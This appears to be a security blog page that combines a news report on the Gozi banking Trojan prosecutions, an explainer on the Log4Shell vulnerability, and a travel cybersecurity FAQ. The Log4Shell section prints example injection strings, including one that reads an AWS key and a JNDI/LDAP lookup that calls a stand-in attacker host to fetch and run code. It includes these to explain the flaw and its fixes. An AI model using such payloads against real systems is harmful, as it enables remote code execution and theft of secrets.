Perpetual IT

As the English translation of the Baroque-era German rendering of the Ancient Greek philosophical saying goes:

Though the mills of God grind slowly, yet they grind exceeding small/Though with patience he stands waiting, with exactness grinds he all.

Today, this saying is usually applied in respect of the judicial process, noting that although justice sometimes doesn’t get done quickly, it may nevertheless get done, and done meticulously, in the end.

That’s certainly the case for a troika of cybercriminals alleged to have been behind the infamous Gozi “banking Trojan” malware, which first appeared in the late 2000s.

The jargon term banking Trojan refers to malicious software that is specifically programmed to recognise, monitor and manipulate your interactions with online banking sites, with the ultimate aim of ripping off your account and stealing your funds.

Typical banking Trojan tricks include: logging your keystrokes to uncover passwords and other secret data as you type it in; scanning local files and databases hunting for private data such as account numbers, account history, passwords and PINs; and manipulating web data right inside your browser to skim off secret information even as you access genuine banking sites.

Way back in 2013, three men from Europe were formally charged with Gozi-related cybercrimes in a US federal court in New York:

• NIKITA KUZMIN, then 25, from Moscow, Russia.
• DENNIS ČALOVSKIS, then 27, from Riga, Latvia.
• MIHAI IONUT PAUNESCU, then 28, from Bucharest, Romania.

The three mouseketeers

Kuzmin, as we explained at the time, was effectively the COO of the group, hiring coders to create malware for the gang, and managing a bunch of cybercrime affiliates to deploy the malware and fleece victims – an operating model known as crimeware-as-a-service that is now used almost universally by ransomware gangs.

Čalovskis was a senior programmer, reponsible for creating the fake web content that could be injected into victims’ browsers as they surfed the internet in order to trick them into revealing secret data to the crimeware gang instead of to their bank or financial insititution.

And Paunescu was, in effect, the CIO; the IT chieftain who operated a series of what are known in the jargon as bulletproof hosts, a slew of servers and other IT infrastructure carefully hidden away from identification and takedown by law enforcement (or, for that matter, by rival cybercrooks).

Čalovskis was soon arrested in Latvia, but wasn’t immediately deported to the US to stand trial because the Latvian authorities agreed with his legal team that he might face 67 years in prison, which it deemed unreasonably severe. (The US routinely lists maximum penalties in its press releases, even though such long sentences are rarely handed out.)

Ultimately, the two countries and the accused seem to have reached an agreement whereby Čalovskis would receive a prison sentence of at most two years, in return for pleading guilty and waiving the right to appeal.

He was sent to the US, locked up while his legal case ground its way through the courts, and ultimately sentenced to “time served” of 21 months and then kicked out of the US.

Time served means that the judge treats the time spent in custody awaiting trial as sufficient punishment for the crime itself, so that the guilty party is essentially deemed to have completed their official imprisonment at the conclusion of the trial.

Kumin, too, ended up convicted-but-immediately-set-free-for-deportation in 2016, after just over three years locked up in the US while on trial.

But Paunsescu, it seems, was spared extradition by a Romanian court, and remained free until late last year, when he travelled to Colombia and was arrested at Bogotá International Airport by the Colombian authorities.

The Colombians, it seems, then contacted the US diplomatic corps, assuming that the US still considered Paunescu a “person of interest”, and asking whether the US wanted to apply to extradite him from Colombia to stand trial in America.

The US, as you can imagine, was indeed interested in doing just that.

Suspect number 3 touches down in the US

Finally, more than nine years after we wrote about that first indictment in New York, Paunescu has reached the US.

As spokesperson Damian Williams explained in the US Department of Justice’s press release about Paunsecu’s inauspicious arrival in America::

Mihai Ionut Paunescu is alleged to have run a “bulletproof hosting” service that enabled cybercriminals throughout the world to spread the Gozi virus and other malware and to commit numerous other cybercrimes. His hosting service was specifically designed to allow cybercriminals to remain hidden and anonymous from law enforcement. Even though he was initially arrested in 2012, Paunescu will finally be held accountable inside a US courtroom. This case demonstrates that we will work with our law enforcement partners here and abroad to pursue cybercriminals who target Americans, no matter how long it takes.

As the DoJ notes, Paunescu’s criminal nickname (the handle he was known by in the cyberunderworld ) was Virus.

As well as disseminating the Gozi malware, the DoJ also alleges that “the Virus” also distributed other data-stealing malware, including the notorious Zeus and SpyEye strains.

Paunescu faces one charge of conspiracy to commit computer intrusion (10 year maximum sentence), one charge of conspiracy to commit bank fraud (to to 30 years); and one charge of conspiracy to commit wire fraud (up to 20 years).

Although his fellow conspirators are already out of US prison, Paunescu’s stay there is only just starting.

Remember Log4Shell?

It was a dangerous bug in a popular open-source Java programming toolkit called Log4j, short for “Logging for Java”, published by the Apache Software Foundation under a liberal, free source code licence.

If you’ve ever written software of any sort, from the simplest BAT file on a Windows laptop to the gnarliest mega-application running on on a whole rack of servers, you’ll have used logging commands.

From basic output such as echo "Starting calculations (this may take a while)" printed to the screen, all the way to formal messages saved in a write-once database for auditing or compliance reasons, logging is a vital part of most programs, especially when something breaks and you need a clear record of exactly how far you got before the problem hit.

The Log4Shell vulnerability (actually, it turned out there were several related problems, but we’ll treat them all as if they were one big issue here, for simplicity) turned out to be half-bug, half-feature.

In other words, Log4j did what it said in the manual, unlike in a bug such a a buffer overflow, where the offending program incorrectly tries to mess around with data it promised it would leave alone…

…but unless you had read the manual really carefully, and taken additional precautions yourself by adding a layer of careful input verification on top of Log4j, your software could come unstuck.

Really, badly, totally unstuck.

Interpolation considered harmful

Simply put, Log4j didn’t always record log messages exactly as you supplied them.

Instead, it had a “feature” known variously and confusingly in the jargon as interpolation, command substitution or auto-rewriting, so that you could trigger text manipulation features inside the logging utility itself, without having to write special code of your own to do it.

For example, the text in the INPUT column below would get logged literally, exactly as you see it, which is probably what you’d expect of a logging toolkit, especially if you wanted to keep a precise record of the input data your users presented for regulatory reasons:

INPUT OUTCOME
----------------------- ------------------------
USERNAME=duck -> USERNAME=duck
Caller-ID:555-555-5555 -> Caller-ID:555-555-5555
Current version = 17.0.1 -> Current version = 17.0.1

But if you submitted text wrapped in the magic character sequence ${...}, the logger would sometimes do smart things with it, after receiving the text but before actually writing in into the logfile, like this:

INPUT OUTCOME
---------------------------------- -------------------------------------------
CURRENT=${java:version}/${java:os} -> CURRENT=Java version 17.0.1/Windows 10 10.0
Server account is: ${env:USER} -> Server account is: root
${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Clearly, if you’re accepting logging text from a trusted source, where it’s reasonable to allow the loggee to control the logger by telling it to replace plain text with internal data, this sort of text rewriting is useful.

But if your goal is to keep track of data submitted by a remote user, perhaps for regulatory record-keeping purposes, this sort of auto-rewriting is doubly dangerous:

• In the event of a dispute, you don’t have a reliable record of what the user actually did submit, given that it might have been modified between input and output.
• A malicious user could send sneakily-constructed inputs in order to provoke your server into doing something it wasn’t supposed to.

If you’re logging user inputs such as their browser identification string, say (known in the jargon as the User-Agent), or their username or phone number, you don’t want to give the user a chance to trick you into writing private data (such as a memory-only password string like the AWS_ACCESS_KEY_ID in the example above) into a permanent logfile.

Especially if you’ve confidently told your auditors or the regulator that you never write plaintext passwords into permanent storage. (You shouldn’t do this, even if you haven’t officially told the regulator you don’t!)

Worse to come

In the Log4Shell is-it-a-bug-or-is-it-a-feature case, however, things were much worse than the already-risky examples we’ve shown above.

For example, a user who deliberately submitted data like the input shown below could trigger a truly dangerous sequence of events:

INPUT OUTCOME ------------------------------------------------ ----------------------------------------
${jndi:ldap://dodgy.server.example:8888/BadThing} -> Download and run a remote Java program!?

In the “interpolation” string above, the ${...} character sequence that includes the abbreviations jndi and ldap told Log4j to do this:

• Use the Java Naming and Directory Interface (JNDI) to locate dodgy.server.example online.
• Connect to that server via LDAP, using TCP port 8888.
• Request the data stored in the LDAP object BadThing.

In other words, attackers could submit specially-crafted input that would instructed your server to “call home” to a server under their control, without so much as a by-your-leave.

How could this be a “feature”?

You might be wondering how a “feature” like this ever made it into the Log4j code.

But this sort of text rewriting can be useful, as long as you’re logging data from a trusted source.

For example, you could log a numerical user ID, but also ask the logger to use LDAP (the lightweight directory access protocol, widely used in the industry, including by Microsoft’s Active Directory system) to retrieve and save the username associated with that account number at that time.

This would improve both the readability and the historical value of the entry in the logfile.

But the LDAP server that Log4j called out in the example above (which was chosen by the remote user, don’t forget) is unlikely to know the truth, let alone to tell it, and a malicious user could therefore use this trick fill up your logs with bogus and even legally dubious data.

Even worse, the LDAP server could return precompiled Java code for generating the data to be logged, and your server would dutifully run that program –- an unknown program, supplied by an untrusted server, chosen by an untrusted user.

Loosely speaking, if any server, anywhere in your network, logged untrusted input that had come in from outside, and used Log4j to do so…

…then that input could be used as a direct and immediate way to trick your server into run someone else’s code, just like that.

That’s called RCE in the jargon, short for remote code execution, and RCE bugs are generally the most keenly sought by cybercriminals because thay can typically be exploited to implant malware automatically.

Unfortunately, the nature of this bug meant that the danger wasn’t limited to internet-facing servers, so using web servers written in C, not Java (e.g. IIS, Apache https, nginx), and therefore didn’t themselves use the buggy Log4j code, didn’t free you from risk.

In theory, any back-end Java app that received and logged data from elsewhere on your network, and that used the Log4j library…

…could potentially be reached and exploited by outside attackers.

The fix was pretty straightforward:

• Find old versions of Log4j anywhere and everywhere in your network. Java modules typically have names like log4j-api-2.14.0.jar and log4j-core-2.14.0.jar, where jar is short for Java archive, a specially-structured sort of ZIP file. With a searchable prefix, a definitive extension, and the version number embedded in the filename, quickly finding offending files with “the wrong” versions of Java library code is actually fairly easy.
• Replace the buggy versions with newer, patched ones.
• If you weren’t in a position to change Log4J version, you could reduce or remove the risk by removing a single code module from the from the buggy Log4j package (the Java code that handled JNDI lookups, as described above), and repackaging your own slimmed-down JAR file with the bug suppressed.

The saga continues

Unfortunately, a recent, detailed report on the Log4Shell saga, published last week by the US Cybersecurity Review Board (CSRB), part of the Department of Homeland Security, contains the worrying suggestion (our emphasis below) that:

[T]he Log4j event is not over. The [CSRB] assesses that Log4j is an “endemic vulnerability” and that vulnerable instances of Log4j will remain in systems for many years to come, perhaps a decade or longer. Significant risk remains.

What to do?

At 42 pages (the executive summary alone runs to nearly three pages), the Board’s report is a long document, and parts of it are heavy going.

But we recommend that you read it through, because it’s a fascinating tale of how even cybersecurity problems that ought to be quick and easy to fix can get ignored, or put off until later, or as-good-as denied altogther as “someone else’s problem” to fix.

Notable suggestions from the US public service, which we wholeheartedly endorse, include::

• Develop the capacity to maintain an accurate information technology (IT) asset and application inventory.
• [Set up a] documented vulnerability response program.
• [Set up a] documented vulnerability disclosure and handling process.

When it comes to cybersecurity, ask not what everyone else can do for you…

…but think about what you can do for yourself, because any improvements you make will almost certainly benefit everyone else as well.

[embedded content]

It’s prime vacation season in the Northern Hemipshere, and in some countries, July and August aren’t just months when some people take some days off, but a period of extended family holidays, often involving weeks away from home or on the road.

The good news, of course, is that if you’ve had to work from home over the past two years, you’re probably better informed about outside-the-office cybersecurity than ever.

The bad news, however, is that although working from home generally offers less “IT shelter” than working from work, and has therefore taught a lot of us plenty about cybersecurity that we didn’t know before…

…your home network almost certainly provides much more IT shelter than you’ll get while you’re on the road, especially if you’re bursting to set off on a vacation you’ve been waiting nearly three years to enjoy!

So, we decided to answer the most common travel questions that people either [a] worry about instead of informing themselves before they set off, or [b] don’t think about at all until it’s too late.

Here you are – have fun, but travel safely!

Q1. Should I make a backup before I set off?

A1. Yes. We suspect that you’re more likely to lose or damage a phone or laptop (or, worse, have it stolen) while travelling than while working from home or in the office.

Remember the simple but effective Sophos Naked Security saying: “The only backup you will ever regret is the one you didn’t make.”

Backing everything up reliably before you set off also means you are free to strip down the amount of digital content you keep loaded on your devices, and thus to reduce the quantity of data you might have to declare or reveal at a border crossing. (See Q3.)

Useful article:

Q2. Should I encrypt my laptop and my mobile phone?

A2. Yes. Most modern mobile phones come pre-encrypted, but the encryption depends on having a decent lock code, which is used to access the underlying encryption and decryption keys.

Don’t settle for an easy lock code for travelling, just in case you get into a crisis and think you might forget it.

Pick a nice, long lock code (we recommend 10 digits or more, and we don’t mean 00000 00000 or 12345 12345), and practise using it regularly for a few days before you leave, until you can remember it easily.

Useful article:

Q3. Should I be worried about crossing national borders?

A3. Worrying will get you nowhere. Don’t be worried, be prepared.

Many countries with border checks reserve the right to ask you to unlock your electronic devices as a condition of entry, and to let them have a look. Some countries may even ask to make what’s called a forensic copy, meaning they copy every sector off the device, even disk sectors containing data you previously deleted. (This can take quite a while, so it could turn a 10-minute border crossing into a multi-hour delay.)

Some countries ask you to state not merely your home address and your phone number, but also to hand over your email and social media addresses, too.

You’re almost certainly entitled to refuse to provide that sort of detail, but in return you should assume that the country you’re trying to enter will refuse to admit you – it’s very much a case of “My Kitchen, My Rules.”

So, prepare yourself before you go by checking up on the entry requirements of anywhere you’re planning to visit. If you don’t like the conditions, then either don’t go there, or don’t take all your electronic devices or all your data with you.

Useful article:

Q4. Should I use public Wi-Fi when I’m on the road?

A4. If you want. The dangers of public Wi-Fi are often over-exaggerated, and can largely be avoided if you stick to apps with proper encryption, and if you only use websites with URLs that start https://, short for “secure HTTP”. This scrambles the data before it leaves your laptop or phone, and (in theory) only unscrambles it after it reaches the other end. Computers in between can’t easily snoop on or sneakily alter the data going back and forth.

However, if you access services in the country you are visiting that demand you to install a special digital certificate (for example, “for security or regulatory reasons”), this means your browsing almost certainly can be spied upon while you’re there, and even after you get back home.

If you don’t like using public Wi-Fi, consider buying a local SIM card with a pre-paid data plan for the duration of your visit. But remember that most countries require their telephone providers to have so-called lawful interception facilities, so a mobile data plan isn’t anonymous just because you bought a “burner” SIM card at a convenience store.

Useful background information:

Q5. Should I use kiosk PCs in airports or hotels?

A5. No. We strongly suggest that you don’t, unless you can’t avoid it. (If it’s unavoidable, limit your logins and how much data you expose as much as you can. For example, if you need to use a hotel kiosk PC to print off a boarding card before leaving for the airport, don’t check your Facebook account at the same time!)

The problem with kiosks is not just that you have to trust the company that runs them, e.g. the hotel or the airport operator, and every techie who services them, but also everyone else who’s used those kiosk computers before you and could have meddled with them.

Unlike a hacked Wi-Fi access point, which can only sniff out data (hopefully encrypted) between you and its destination, a hacked kiosk PC may have unfettered access to all the data you send and receive during the period that it’s unencrypted, could be tracking every keystroke you type, could take screenshots of everything you do, and could retain an exact copy of everything you print.

Useful background information (from 2010):

Q6. What about spycams in hotel rooms and Airbnbs?

A6. We can answer that partially, but not with the simplicity and the precision you would probably like.

Unfortunately, spycams hidden in guest quarters are a real thing, and in the pre-pandemic year of 2019, we wrote about three different incidents where guests found “peeping Tom” cameras in their rooms: at a farm work hostel in Australia; at an Airbnb house in Ireland; and in a South Korean hotel. (In the first and last of those cases, we’re pleased to say, the perpetrators were arrested and charged.)

Sometimes, hidden cameras are fairly easy to spot if you search your room or rooms carefully. But spycams can be tiny enough to hide almost anywhere, and they won’t always show up on the property’s public Wi-Fi network.

Sadly, this means that not finding a spy camera doesn’t mean there isn’t one.

All we can advise is this:

• Search for obvious hiding places. Clocks that are curiously positioned, duplicate smoke alarms, electronic “gizmos” where they aren’t needed, signs of digital devices squeezed into vents, and so forth.
• If you find one, photograph it, and also photograph the property to show that you haven’t caused any damage that could be used an as excuse or a counterclaim by the perpetrator.
• Keep your clothes on, and leave the property if you can.
• Report the incident to the local police and to the head office of the hotel or rental agent.

To reduce the risk of being recorded while typing in passwords or lock codes, shield your keyboard or phone when entering critical data whenever you are in locations you don’t trust fully, just as you do (or should do) when using a bank ATM (cash machine) or a payment terminal in a shop.

Useful article:

How-to video:

Q7. What if I want to take my work laptop along?

A7. We can’t answer that. Only your work can, so the simple answer is, “Ask.”

If they say “No”, that’s that. Leave it behind, perhaps even locked up at work.

If they say “Yes”, they are likely to ask you where you’re going and then hand out advice (or specific requirements) for your chosen destination.

Take their advice. After all, if the company thinks its data might be at extra risk in the country you’re visiting, then your personal data will almost certainly be at extra risk too. So, treat work’s advice as a benefit, not a hindrance!

The bottom line

In short, have fun, but don’t take more devices or data than you need, read up on any privacy and surveillance rules at your destination before you set off, and be aware of your surroundings when entering personal data.

Remember:  If in doubt/Don’t give it out.

And:  If your life’s on your phone/Why not leave it at home?

Buying a cheap phone that’s good enough for your vacation may end up costing less than the first round of beachfront cocktails you’re looking forward when you get there…

Main image of Copocabana beach thanks to Bisonlux on Flickr, under a CC BY 2.0 licence.

LISTEN NOW

With Doug Aamoth and Paul Ducklin.

Intro and outro music by Edith Mudge.

You can listen to us on Soundcloud, Apple Podcasts, Google Podcasts, Spotify, Stitcher and anywhere that good podcasts are found. Or just drop the URL of our RSS feed into your favourite podcatcher.

READ THE TRANSCRIPT